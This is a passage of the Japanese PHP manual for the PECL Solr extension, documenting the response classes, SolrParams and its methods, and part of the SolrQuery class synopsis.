SolrResponse::getResponse — サーバーからの XML レスポンスを表現する SolrObject を返す

説明

public SolrResponse::getResponse ( ) : SolrObject

サーバーからの XML レスポンスを表現する SolrObject を返します。

パラメータ

この関数にはパラメータはありません。

返り値

サーバーからの XML レスポンスを表現する SolrObject を返します。

User Contributed Notes

There are no user contributed notes for this page.


パースモードを設定

  • ≪ SolrResponse::getResponse
  • SolrResponse::success ≫
  • PHP Manual
  • SolrResponse
  • パースモードを設定

SolrResponse::setParseMode

(PECL solr >= 0.9.2)

SolrResponse::setParseMode — パースモードを設定

説明

public SolrResponse::setParseMode ( int $parser_mode = 0 ) : bool

パースモードを設定します。

パラメータ

parser_mode

SolrResponse::PARSE_SOLR_DOC は、SolrDocument インスタンス内の文書をパースします。 SolrResponse::PARSE_SOLR_OBJ は、SolrObjects 内に文書をパースします。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


リクエストが成功したか

  • ≪ SolrResponse::setParseMode
  • SolrQueryResponse ≫
  • PHP Manual
  • SolrResponse
  • リクエストが成功したか

SolrResponse::success

(PECL solr >= 0.9.2)

SolrResponse::success — リクエストが成功したか

説明

public SolrResponse::success ( ) : bool

サーバーへのリクエストが成功したかチェックするために使用されます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合 true 、失敗した場合 false 。

User Contributed Notes

There are no user contributed notes for this page.


SolrQueryResponse クラス

(PECL solr >= 0.9.2)

はじめに

クエリーリクエストに対するレスポンスを表現

クラス概要

final SolrQueryResponse extends SolrResponse {
/* 定数 */
const int PARSE_SOLR_OBJ = 0 ;
const int PARSE_SOLR_DOC = 1 ;
/* 継承したプロパティ */
const int SolrResponse::PARSE_SOLR_OBJ = 0 ;
const int SolrResponse::PARSE_SOLR_DOC = 1 ;
protected int $http_status ;
protected int $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* メソッド */
public __construct ( )
public __destruct ( ) : void
/* 継承したメソッド */
public SolrResponse::getDigestedResponse ( ) : string
public SolrResponse::getHttpStatus ( ) : int
public SolrResponse::getHttpStatusMessage ( ) : string
public SolrResponse::getRawRequest ( ) : string
public SolrResponse::getRawRequestHeaders ( ) : string
public SolrResponse::getRawResponse ( ) : string
public SolrResponse::getRawResponseHeaders ( ) : string
public SolrResponse::getRequestUrl ( ) : string
public SolrResponse::getResponse ( ) : SolrObject
public SolrResponse::setParseMode ( int $parser_mode = 0 ) : bool
public SolrResponse::success ( ) : bool
}

定義済み定数

SolrQueryResponse クラス定数

SolrQueryResponse::PARSE_SOLR_OBJ

文書は、SolrObject インスタンスとしてパースされなければなりません

SolrQueryResponse::PARSE_SOLR_DOC

文書は、SolrDocument インスタンスとしてパースされなければなりません

目次

  • SolrQueryResponse::__construct — コンストラクタ
  • SolrQueryResponse::__destruct — デストラクタ

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrQueryResponse
  • SolrQueryResponse::__destruct ≫
  • PHP Manual
  • SolrQueryResponse
  • コンストラクタ

SolrQueryResponse::__construct

(PECL solr >= 0.9.2)

SolrQueryResponse::__construct — コンストラクタ

説明

public SolrQueryResponse::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrQueryResponse::__construct
  • SolrUpdateResponse ≫
  • PHP Manual
  • SolrQueryResponse
  • デストラクタ

SolrQueryResponse::__destruct

(PECL solr >= 0.9.2)

SolrQueryResponse::__destruct — デストラクタ

説明

public SolrQueryResponse::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


SolrUpdateResponse クラス

(PECL solr >= 0.9.2)

はじめに

更新リクエストに対するレスポンスを表現

クラス概要

final SolrUpdateResponse extends SolrResponse {
/* 定数 */
const int PARSE_SOLR_OBJ = 0 ;
const int PARSE_SOLR_DOC = 1 ;
/* 継承したプロパティ */
const int SolrResponse::PARSE_SOLR_OBJ = 0 ;
const int SolrResponse::PARSE_SOLR_DOC = 1 ;
protected int $http_status ;
protected int $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* メソッド */
public __construct ( )
public __destruct ( ) : void
/* 継承したメソッド */
public SolrResponse::getDigestedResponse ( ) : string
public SolrResponse::getHttpStatus ( ) : int
public SolrResponse::getHttpStatusMessage ( ) : string
public SolrResponse::getRawRequest ( ) : string
public SolrResponse::getRawRequestHeaders ( ) : string
public SolrResponse::getRawResponse ( ) : string
public SolrResponse::getRawResponseHeaders ( ) : string
public SolrResponse::getRequestUrl ( ) : string
public SolrResponse::getResponse ( ) : SolrObject
public SolrResponse::setParseMode ( int $parser_mode = 0 ) : bool
public SolrResponse::success ( ) : bool
}

定義済み定数

SolrUpdateResponse クラス定数

SolrUpdateResponse::PARSE_SOLR_OBJ

文書は、SolrObject インスタンスとしてパースされなければなりません

SolrUpdateResponse::PARSE_SOLR_DOC

文書は、SolrDocument インスタンスとしてパースされなければなりません

目次

  • SolrUpdateResponse::__construct — コンストラクタ
  • SolrUpdateResponse::__destruct — デストラクタ

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrUpdateResponse
  • SolrUpdateResponse::__destruct ≫
  • PHP Manual
  • SolrUpdateResponse
  • コンストラクタ

SolrUpdateResponse::__construct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__construct — コンストラクタ

説明

public SolrUpdateResponse::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrUpdateResponse::__construct
  • SolrPingResponse ≫
  • PHP Manual
  • SolrUpdateResponse
  • デストラクタ

SolrUpdateResponse::__destruct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__destruct — デストラクタ

説明

public SolrUpdateResponse::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


SolrPingResponse クラス

(PECL solr >= 0.9.2)

はじめに

サーバーへの ping リクエストに対するレスポンスを表現

クラス概要

final SolrPingResponse extends SolrResponse {
/* 定数 */
const int PARSE_SOLR_OBJ = 0 ;
const int PARSE_SOLR_DOC = 1 ;
/* プロパティ */
/* メソッド */
public __construct ( )
public __destruct ( ) : void
public getResponse ( ) : string
/* 継承したメソッド */
public SolrResponse::getDigestedResponse ( ) : string
public SolrResponse::getHttpStatus ( ) : int
public SolrResponse::getHttpStatusMessage ( ) : string
public SolrResponse::getRawRequest ( ) : string
public SolrResponse::getRawRequestHeaders ( ) : string
public SolrResponse::getRawResponse ( ) : string
public SolrResponse::getRawResponseHeaders ( ) : string
public SolrResponse::getRequestUrl ( ) : string
public SolrResponse::getResponse ( ) : SolrObject
public SolrResponse::setParseMode ( int $parser_mode = 0 ) : bool
public SolrResponse::success ( ) : bool
}

プロパティ

http_status

レスポンスの HTTP ステータス

parser_mode

Solr 文書を SolrObject または SolrDocument インスタンスとしてパースするかどうか

success

リクエスト中にエラーがあったか

http_status_message

HTTP ステータスについての詳細メッセージ

http_request_url

リクエスト URL

http_raw_request_headers

リクエスト中に送信される生のヘッダ文字列

http_raw_request

サーバーに送信される生のリクエスト

http_raw_response_headers

Solr サーバーからのレスポンスヘッダ

http_raw_response

サーバーからのレスポンスメッセージ

http_digested_response

PHP シリアライズ形式でのレスポンス

定義済み定数

SolrPingResponse クラス定数

SolrPingResponse::PARSE_SOLR_OBJ

文書は、SolrObject インスタンスとしてパースされなければなりません

SolrPingResponse::PARSE_SOLR_DOC

文書は、SolrDocument インスタンスとしてパースされなければなりません

目次

  • SolrPingResponse::__construct — コンストラクタ
  • SolrPingResponse::__destruct — デストラクタ
  • SolrPingResponse::getResponse — サーバーからのレスポンスを返す

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrPingResponse
  • SolrPingResponse::__destruct ≫
  • PHP Manual
  • SolrPingResponse
  • コンストラクタ

SolrPingResponse::__construct

(PECL solr >= 0.9.2)

SolrPingResponse::__construct — コンストラクタ

説明

public SolrPingResponse::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrPingResponse::__construct
  • SolrPingResponse::getResponse ≫
  • PHP Manual
  • SolrPingResponse
  • デストラクタ

SolrPingResponse::__destruct

(PECL solr >= 0.9.2)

SolrPingResponse::__destruct — デストラクタ

説明

public SolrPingResponse::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


サーバーからのレスポンスを返す

  • ≪ SolrPingResponse::__destruct
  • SolrGenericResponse ≫
  • PHP Manual
  • SolrPingResponse
  • サーバーからのレスポンスを返す

SolrPingResponse::getResponse

(PECL solr >= 0.9.2)

SolrPingResponse::getResponse — サーバーからのレスポンスを返す

説明

public SolrPingResponse::getResponse ( ) : string

サーバーからのレスポンスを返します。 HEAD リクエストとしてのリクエストなので、これは空になるはずです。

パラメータ

この関数にはパラメータはありません。

返り値

空文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


SolrGenericResponse クラス

(PECL solr >= 0.9.2)

はじめに

Solr サーバーからのレスポンスを表現

クラス概要

final SolrGenericResponse extends SolrResponse {
/* 定数 */
const int PARSE_SOLR_OBJ = 0 ;
const int PARSE_SOLR_DOC = 1 ;
/* 継承したプロパティ */
const int SolrResponse::PARSE_SOLR_OBJ = 0 ;
const int SolrResponse::PARSE_SOLR_DOC = 1 ;
protected int $http_status ;
protected int $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* メソッド */
public __construct ( )
public __destruct ( ) : void
/* 継承したメソッド */
public SolrResponse::getDigestedResponse ( ) : string
public SolrResponse::getHttpStatus ( ) : int
public SolrResponse::getHttpStatusMessage ( ) : string
public SolrResponse::getRawRequest ( ) : string
public SolrResponse::getRawRequestHeaders ( ) : string
public SolrResponse::getRawResponse ( ) : string
public SolrResponse::getRawResponseHeaders ( ) : string
public SolrResponse::getRequestUrl ( ) : string
public SolrResponse::getResponse ( ) : SolrObject
public SolrResponse::setParseMode ( int $parser_mode = 0 ) : bool
public SolrResponse::success ( ) : bool
}

定義済み定数

SolrGenericResponse クラス定数

SolrGenericResponse::PARSE_SOLR_OBJ

文書は、SolrObject インスタンスとしてパースされなければなりません

SolrGenericResponse::PARSE_SOLR_DOC

文書は、SolrDocument インスタンスとしてパースされなければなりません

目次

  • SolrGenericResponse::__construct — コンストラクタ
  • SolrGenericResponse::__destruct — デストラクタ

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrGenericResponse
  • SolrGenericResponse::__destruct ≫
  • PHP Manual
  • SolrGenericResponse
  • コンストラクタ

SolrGenericResponse::__construct

(PECL solr >= 0.9.2)

SolrGenericResponse::__construct — コンストラクタ

説明

public SolrGenericResponse::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrGenericResponse::__construct
  • SolrParams ≫
  • PHP Manual
  • SolrGenericResponse
  • デストラクタ

SolrGenericResponse::__destruct

(PECL solr >= 0.9.2)

SolrGenericResponse::__destruct — デストラクタ

説明

public SolrGenericResponse::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


SolrParams クラス

(PECL solr >= 0.9.2)

はじめに

リクエスト中に Solr サーバーに送信される、名前と値のペアの集合を表します。

クラス概要

abstract SolrParams implements Serializable {
/* メソッド */
final public add ( string $name , string $value ) : SolrParams
public addParam ( string $name , string $value ) : SolrParams
final public get ( string $param_name ) : mixed
final public getParam ( string $param_name = ? ) : mixed
final public getParams ( ) : array
final public getPreparedParams ( ) : array
final public serialize ( ) : string
final public set ( string $name , string $value ) : void
public setParam ( string $name , string $value ) : SolrParams
final public toString ( bool $url_encode = false ) : string
final public unserialize ( string $serialized ) : void
}

目次

  • SolrParams::add — これは、SolrParams::addParam に対するエイリアスです
  • SolrParams::addParam — オブジェクトにパラメータを追加
  • SolrParams::get — これは、SolrParams::getParam に対するエイリアスです。
  • SolrParams::getParam — パラメータ値を返す
  • SolrParams::getParams — URL エンコードされていないパラメータの配列を返す
  • SolrParams::getPreparedParams — URL エンコードされたパラメータの配列を返す
  • SolrParams::serialize — カスタムのシリアライズで使われます
  • SolrParams::set — SolrParams::setParam のエイリアス
  • SolrParams::setParam — パラメータを指定された値に設定
  • SolrParams::toString — オブジェクト内の名前と値のペアのパラメータを全て返します
  • SolrParams::unserialize — カスタムのシリアライズで使われます

User Contributed Notes

There are no user contributed notes for this page.


これは、SolrParams::addParam に対するエイリアスです

  • ≪ SolrParams
  • SolrParams::addParam ≫
  • PHP Manual
  • SolrParams
  • これは、SolrParams::addParam に対するエイリアスです

SolrParams::add

(PECL solr >= 0.9.2)

SolrParams::add — これは、SolrParams::addParam に対するエイリアスです

説明

final public SolrParams::add ( string $name , string $value ) : SolrParams

これは、SolrParams::addParam に対するエイリアスです。

パラメータ

name

パラメータ名

value

パラメータ値

返り値

成功時に SolrParams インスタンスを返します

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトにパラメータを追加

  • ≪ SolrParams::add
  • SolrParams::get ≫
  • PHP Manual
  • SolrParams
  • オブジェクトにパラメータを追加

SolrParams::addParam

(PECL solr >= 0.9.2)

SolrParams::addParam — オブジェクトにパラメータを追加

説明

public SolrParams::addParam ( string $name , string $value ) : SolrParams

オブジェクトにパラメータを追加します。 これは、複数回指定されることのあるパラメータで使われます。

パラメータ

name

パラメータ名

value

パラメータ値

返り値

成功時に SolrParam オブジェクト、失敗時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


これは、SolrParams::getParam に対するエイリアスです。

  • ≪ SolrParams::addParam
  • SolrParams::getParam ≫
  • PHP Manual
  • SolrParams
  • これは、SolrParams::getParam に対するエイリアスです。

SolrParams::get

(PECL solr >= 0.9.2)

SolrParams::get — これは、SolrParams::getParam に対するエイリアスです。

説明

final public SolrParams::get ( string $param_name ) : mixed

これは、SolrParams::getParam に対するエイリアスです。

パラメータ

param_name

パラメータ名

返り値

パラメータの種類により、配列または文字列を返します

User Contributed Notes

There are no user contributed notes for this page.


パラメータ値を返す

  • ≪ SolrParams::get
  • SolrParams::getParams ≫
  • PHP Manual
  • SolrParams
  • パラメータ値を返す

SolrParams::getParam

(PECL solr >= 0.9.2)

SolrParams::getParam — パラメータ値を返す

説明

final public SolrParams::getParam ( string $param_name = ? ) : mixed

param_name という名前のパラメータを返します。

パラメータ

param_name

パラメータ名

返り値

パラメータの種類により、文字列または配列を返します

User Contributed Notes

There are no user contributed notes for this page.


URL エンコードされていないパラメータの配列を返す

  • ≪ SolrParams::getParam
  • SolrParams::getPreparedParams ≫
  • PHP Manual
  • SolrParams
  • URL エンコードされていないパラメータの配列を返す

SolrParams::getParams

(PECL solr >= 0.9.2)

SolrParams::getParams — URL エンコードされていないパラメータの配列を返す

説明

final public SolrParams::getParams ( ) : array

URL エンコードされていないパラメータの配列を返します

パラメータ

この関数にはパラメータはありません。

返り値

URL エンコードされていないパラメータの配列を返します

User Contributed Notes

There are no user contributed notes for this page.


URL エンコードされたパラメータの配列を返す

  • ≪ SolrParams::getParams
  • SolrParams::serialize ≫
  • PHP Manual
  • SolrParams
  • URL エンコードされたパラメータの配列を返す

SolrParams::getPreparedParams

(PECL solr >= 0.9.2)

SolrParams::getPreparedParams — URL エンコードされたパラメータの配列を返す

説明

final public SolrParams::getPreparedParams ( ) : array

URL エンコードされたパラメータに対する配列を返します

パラメータ

この関数にはパラメータはありません。

返り値

URL エンコードされたパラメータに対する配列を返します

User Contributed Notes

There are no user contributed notes for this page.


カスタムのシリアライズで使われます

  • ≪ SolrParams::getPreparedParams
  • SolrParams::set ≫
  • PHP Manual
  • SolrParams
  • カスタムのシリアライズで使われます

SolrParams::serialize

(PECL solr >= 0.9.2)

SolrParams::serialize — カスタムのシリアライズで使われます

説明

final public SolrParams::serialize ( ) : string

カスタムのシリアライズで使われます

パラメータ

この関数にはパラメータはありません。

返り値

カスタムのシリアライズで使われます

User Contributed Notes

There are no user contributed notes for this page.


SolrParams::setParam のエイリアス

  • ≪ SolrParams::serialize
  • SolrParams::setParam ≫
  • PHP Manual
  • SolrParams
  • SolrParams::setParam のエイリアス

SolrParams::set

(PECL solr >= 0.9.2)

SolrParams::set — SolrParams::setParam のエイリアス

説明

final public SolrParams::set ( string $name , string $value ) : void

SolrParams::setParam のエイリアス

パラメータ

name

パラメータ名

value

パラメータ値

返り値

成功時に、SolrParams オブジェクトのインスタンスを返します

User Contributed Notes

There are no user contributed notes for this page.


パラメータを指定された値に設定

  • ≪ SolrParams::set
  • SolrParams::toString ≫
  • PHP Manual
  • SolrParams
  • パラメータを指定された値に設定

SolrParams::setParam

(PECL solr >= 0.9.2)

SolrParams::setParam — パラメータを指定された値に設定

説明

public SolrParams::setParam ( string $name , string $value ) : SolrParams

クエリーパラメータを指定された値に設定します。 これは、一回だけ指定可能なパラメータで使われます。 同じパラメータ名で後で呼び出すと、既存の値を上書きします。

パラメータ

name

パラメータ名

value

パラメータ値

返り値

成功時に SolrParam オブジェクト、値の場合に false を返します。

例

例1 SolrParams::setParam() の例

<?php

$param = new SolrParams();

$param->setParam('q', 'solr')->setParam('rows', 2);

?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクト内の名前と値のペアのパラメータを全て返します

  • ≪ SolrParams::setParam
  • SolrParams::unserialize ≫
  • PHP Manual
  • SolrParams
  • オブジェクト内の名前と値のペアのパラメータを全て返します

SolrParams::toString

(PECL solr >= 0.9.2)

SolrParams::toString — オブジェクト内の名前と値のペアのパラメータを全て返します

説明

final public SolrParams::toString ( bool $url_encode = false ) : string

オブジェクト内の名前と値のペアのパラメータを全て返します

パラメータ

url_encode

URL エンコードされた値が返されるかどうか

返り値

成功時に文字列、失敗時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


カスタムのシリアライズで使われます

  • ≪ SolrParams::toString
  • SolrModifiableParams ≫
  • PHP Manual
  • SolrParams
  • カスタムのシリアライズで使われます

SolrParams::unserialize

(PECL solr >= 0.9.2)

SolrParams::unserialize — カスタムのシリアライズで使われます

説明

final public SolrParams::unserialize ( string $serialized ) : void

カスタムのシリアライズで使われます

パラメータ

serialized

オブジェクトのシリアライズされた表現

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


SolrModifiableParams クラス

(PECL solr >= 0.9.2)

はじめに

リクエスト中に Solr サーバーに送信される名前と値のペアの集合を表現します。

クラス概要

SolrModifiableParams extends SolrParams implements Serializable {
/* メソッド */
public __construct ( )
public __destruct ( ) : void
/* 継承したメソッド */
final public SolrParams::add ( string $name , string $value ) : SolrParams
public SolrParams::addParam ( string $name , string $value ) : SolrParams
final public SolrParams::get ( string $param_name ) : mixed
final public SolrParams::getParam ( string $param_name = ? ) : mixed
final public SolrParams::getParams ( ) : array
final public SolrParams::getPreparedParams ( ) : array
final public SolrParams::serialize ( ) : string
final public SolrParams::set ( string $name , string $value ) : void
public SolrParams::setParam ( string $name , string $value ) : SolrParams
final public SolrParams::toString ( bool $url_encode = false ) : string
final public SolrParams::unserialize ( string $serialized ) : void
}

目次

  • SolrModifiableParams::__construct — コンストラクタ
  • SolrModifiableParams::__destruct — デストラクタ

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrModifiableParams
  • SolrModifiableParams::__destruct ≫
  • PHP Manual
  • SolrModifiableParams
  • コンストラクタ

SolrModifiableParams::__construct

(PECL solr >= 0.9.2)

SolrModifiableParams::__construct — コンストラクタ

説明

public SolrModifiableParams::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrModifiableParams::__construct
  • SolrQuery ≫
  • PHP Manual
  • SolrModifiableParams
  • デストラクタ

SolrModifiableParams::__destruct

(PECL solr >= 0.9.2)

SolrModifiableParams::__destruct — デストラクタ

説明

public SolrModifiableParams::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


The SolrQuery class

(PECL solr >= 0.9.2)

はじめに

Represents a collection of name-value pairs sent to the Solr server during a request.

クラス概要

SolrQuery extends SolrModifiableParams implements Serializable {
/* 定数 */
const int ORDER_ASC = 0 ;
const int ORDER_DESC = 1 ;
const int FACET_SORT_INDEX = 0 ;
const int FACET_SORT_COUNT = 1 ;
const int TERMS_SORT_INDEX = 0 ;
const int TERMS_SORT_COUNT = 1 ;
/* プロパティ */
/* メソッド */
public addExpandFilterQuery ( string $fq ) : SolrQuery
public addExpandSortField ( string $field , string $order = ? ) : SolrQuery
public addFacetDateField ( string $dateField ) : SolrQuery
public addFacetDateOther ( string $value , string $field_override = ? ) : SolrQuery
public addFacetField ( string $field ) : SolrQuery
public addFacetQuery ( string $facetQuery ) : SolrQuery
public addField ( string $field ) : SolrQuery
public addFilterQuery ( string $fq ) : SolrQuery
public addGroupField ( string $value ) : SolrQuery
public addGroupFunction ( string $value ) : SolrQuery
public addGroupQuery ( string $value ) : SolrQuery
public addGroupSortField ( string $field , int $order = ? ) : SolrQuery
public addHighlightField ( string $field ) : SolrQuery
public addMltField ( string $field ) : SolrQuery
public addMltQueryField ( string $field , float $boost ) : SolrQuery
public addSortField ( string $field , int $order = SolrQuery::ORDER_DESC ) : SolrQuery
public addStatsFacet ( string $field ) : SolrQuery
public addStatsField ( string $field ) : SolrQuery
public collapse ( SolrCollapseFunction $collapseFunction ) : SolrQuery
public __construct ( string $q = ? )
public __destruct ( ) : void
public getExpand ( ) : bool
public getExpandFilterQueries ( ) : array
public getExpandQuery ( ) : array
public getExpandRows ( ) : int
public getExpandSortFields ( ) : array
public getFacet ( ) : bool
public getFacetDateEnd ( string $field_override = ? ) : string
public getFacetDateFields ( ) : array
public getFacetDateGap ( string $field_override = ? ) : string
public getFacetDateHardEnd ( string $field_override = ? ) : string
public getFacetDateOther ( string $field_override = ? ) : array
public getFacetDateStart ( string $field_override = ? ) : string
public getFacetFields ( ) : array
public getFacetLimit ( string $field_override = ? ) : int
public getFacetMethod ( string $field_override = ? ) : string
public getFacetMinCount ( string $field_override = ? ) : int
public getFacetMissing ( string $field_override = ? ) : bool
public getFacetOffset ( string $field_override = ? ) : int
public getFacetPrefix ( string $field_override = ? ) : string
public getFacetQueries ( ) : array
public getFacetSort ( string $field_override = ? ) : int
public getFields ( ) : array
public getFilterQueries ( ) : array
public getGroup ( ) : bool
public getGroupCachePercent ( ) : int
public getGroupFacet ( ) : bool
public getGroupFields ( ) : array
public getGroupFormat ( ) : string
public getGroupFunctions ( ) : array
public getGroupLimit ( ) : int
public getGroupMain ( ) : bool
public getGroupNGroups ( ) : bool
public getGroupOffset ( ) : int
public getGroupQueries ( ) : array
public getGroupSortFields ( ) : array
public getGroupTruncate ( ) : bool
public getHighlight ( ) : bool
public getHighlightAlternateField ( string $field_override = ? ) : string
public getHighlightFields ( ) : array
public getHighlightFormatter ( string $field_override = ? ) : string
public getHighlightFragmenter ( string $field_override = ? ) : string
public getHighlightFragsize ( string $field_override = ? ) : int
public getHighlightHighlightMultiTerm ( ) : bool
public getHighlightMaxAlternateFieldLength ( string $field_override = ? ) : int
public getHighlightMaxAnalyzedChars ( ) : int
public getHighlightMergeContiguous ( string $field_override = ? ) : bool
public getHighlightRegexMaxAnalyzedChars ( ) : int
public getHighlightRegexPattern ( ) : string
public getHighlightRegexSlop ( ) : float
public getHighlightRequireFieldMatch ( ) : bool
public getHighlightSimplePost ( string $field_override = ? ) : string
public getHighlightSimplePre ( string $field_override = ? ) : string
public getHighlightSnippets ( string $field_override = ? ) : int
public getHighlightUsePhraseHighlighter ( ) : bool
public getMlt ( ) : bool
public getMltBoost ( ) : bool
public getMltCount ( ) : int
public getMltFields ( ) : array
public getMltMaxNumQueryTerms ( ) : int
public getMltMaxNumTokens ( ) : int
public getMltMaxWordLength ( ) : int
public getMltMinDocFrequency ( ) : int
public getMltMinTermFrequency ( ) : int
public getMltMinWordLength ( ) : int
public getMltQueryFields ( ) : array
public getQuery ( ) : string
public getRows ( ) : int
public getSortFields ( ) : array
public getStart ( ) : int
public getStats ( ) : bool
public getStatsFacets ( ) : array
public getStatsFields ( ) : array
public getTerms ( ) : bool
public getTermsField ( ) : string
public getTermsIncludeLowerBound ( ) : bool
public getTermsIncludeUpperBound ( ) : bool
public getTermsLimit ( ) : int
public getTermsLowerBound ( ) : string
public getTermsMaxCount ( ) : int
public getTermsMinCount ( ) : int
public getTermsPrefix ( ) : string
public getTermsReturnRaw ( ) : bool
public getTermsSort ( ) : int
public getTermsUpperBound ( ) : string
public getTimeAllowed ( ) : int
public removeExpandFilterQuery ( string $fq ) : SolrQuery
public removeExpandSortField ( string $field ) : SolrQuery
public removeFacetDateField ( string $field ) : SolrQuery
public removeFacetDateOther ( string $value , string $field_override = ? ) : SolrQuery
public removeFacetField ( string $field ) : SolrQuery
public removeFacetQuery ( string $value ) : SolrQuery
public removeField ( string $field ) : SolrQuery
public removeFilterQuery ( string $fq ) : SolrQuery
public removeHighlightField ( string $field ) : SolrQuery
public removeMltField ( string $field ) : SolrQuery
public removeMltQueryField ( string $queryField ) : SolrQuery
public removeSortField ( string $field ) : SolrQuery
public removeStatsFacet ( string $value ) : SolrQuery
public removeStatsField ( string $field ) : SolrQuery
public setEchoHandler ( bool $flag ) : SolrQuery
public setEchoParams ( string $type ) : SolrQuery
public setExpand ( bool $value ) : SolrQuery
public setExpandQuery ( string $q ) : SolrQuery
public setExpandRows ( int $value ) : SolrQuery
public setExplainOther ( string $query ) : SolrQuery
public setFacet ( bool $flag ) : SolrQuery
public setFacetDateEnd ( string $value , string $field_override = ? ) : SolrQuery
public setFacetDateGap ( string $value , string $field_override = ? ) : SolrQuery
public setFacetDateHardEnd ( bool $value , string $field_override = ? ) : SolrQuery
public setFacetDateStart ( string $value , string $field_override = ? ) : SolrQuery
public setFacetEnumCacheMinDefaultFrequency ( int $frequency , string $field_override = ? ) : SolrQuery
public setFacetLimit ( int $limit , string $field_override = ? ) : SolrQuery
public setFacetMethod ( string $method , string $field_override = ? ) : SolrQuery
public setFacetMinCount ( int $mincount , string $field_override = ? ) : SolrQuery
public setFacetMissing ( bool $flag , string $field_override = ? ) : SolrQuery
public setFacetOffset ( int $offset , string $field_override = ? ) : SolrQuery
public setFacetPrefix ( string $prefix , string $field_override = ? ) : SolrQuery
public setFacetSort ( int $facetSort , string $field_override = ? ) : SolrQuery
public setGroup ( bool $value ) : SolrQuery
public setGroupCachePercent ( int $percent ) : SolrQuery
public setGroupFacet ( bool $value ) : SolrQuery
public setGroupFormat ( string $value ) : SolrQuery
public setGroupLimit ( int $value ) : SolrQuery
public setGroupMain ( string $value ) : SolrQuery
public setGroupNGroups ( bool $value ) : SolrQuery
public setGroupOffset ( int $value ) : SolrQuery
public setGroupTruncate ( bool $value ) : SolrQuery
public setHighlight ( bool $flag ) : SolrQuery
public setHighlightAlternateField ( string $field , string $field_override = ? ) : SolrQuery
public setHighlightFormatter ( string $formatter , string $field_override = ? ) : SolrQuery
public setHighlightFragmenter ( string $fragmenter , string $field_override = ? ) : SolrQuery
public setHighlightFragsize ( int $size , string $field_override = ? ) : SolrQuery
public setHighlightHighlightMultiTerm ( bool $flag ) : SolrQuery
public setHighlightMaxAlternateFieldLength ( int $fieldLength , string $field_override = ? ) : SolrQuery
public setHighlightMaxAnalyzedChars ( int $value ) : SolrQuery
public setHighlightMergeContiguous ( bool $flag , string $field_override = ? ) : SolrQuery
public setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars ) : SolrQuery
public setHighlightRegexPattern ( string $value ) : SolrQuery
public setHighlightRegexSlop ( float $factor ) : SolrQuery
public setHighlightRequireFieldMatch ( bool $flag ) : SolrQuery
public setHighlightSimplePost ( string $simplePost , string $field_override = ? ) : SolrQuery
public setHighlightSimplePre ( string $simplePre , string $field_override = ? ) : SolrQuery
public setHighlightSnippets ( int $value , string $field_override = ? ) : SolrQuery
public setHighlightUsePhraseHighlighter ( bool $flag ) : SolrQuery
public setMlt ( bool $flag ) : SolrQuery
public setMltBoost ( bool $flag ) : SolrQuery
public setMltCount ( int $count ) : SolrQuery
public setMltMaxNumQueryTerms ( int $value ) : SolrQuery
public setMltMaxNumTokens ( int $value ) : SolrQuery
public setMltMaxWordLength ( int $maxWordLength ) : SolrQuery
public setMltMinDocFrequency ( int $minDocFrequency ) : SolrQuery
public setMltMinTermFrequency ( int $minTermFrequency ) : SolrQuery
public setMltMinWordLength ( int $minWordLength ) : SolrQuery
public setOmitHeader ( bool $flag ) : SolrQuery
public setQuery ( string $query ) : SolrQuery
public setRows ( int $rows ) : SolrQuery
public setShowDebugInfo ( bool $flag ) : SolrQuery
public setStart ( int $start ) : SolrQuery
public setStats ( bool $flag ) : SolrQuery
public setTerms ( bool $flag ) : SolrQuery
public setTermsField ( string $fieldname ) : SolrQuery
